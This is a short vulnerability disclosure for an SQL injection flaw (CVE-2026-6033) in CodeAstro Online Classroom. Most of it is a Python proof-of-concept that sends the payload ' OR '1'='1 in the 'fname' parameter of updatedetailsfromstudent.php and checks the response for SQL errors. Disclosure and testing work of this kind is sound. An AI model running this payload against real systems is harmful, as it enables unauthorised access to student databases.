CVE-2026-6033: CodeAstro Online Classroom SQL注入漏洞

import requests # Target URL (Replace with actual host) target_url = "http://example.com/updatedetailsfromstudent.php" # Payload to test SQL Injection (Single quote based) payload = { "eno": "146891650", "fname": "test' OR '1'='1" } try: response = requests.get(target_url, params=payload) # Check for SQL syntax errors or data leakage in response if "error" in response.text.lower() or "syntax" in response.text.lower(): print("Potential SQL Injection vulnerability detected.") else: print("Request sent, manual analysis required.") except Exception as e: print(f"Error: {e}")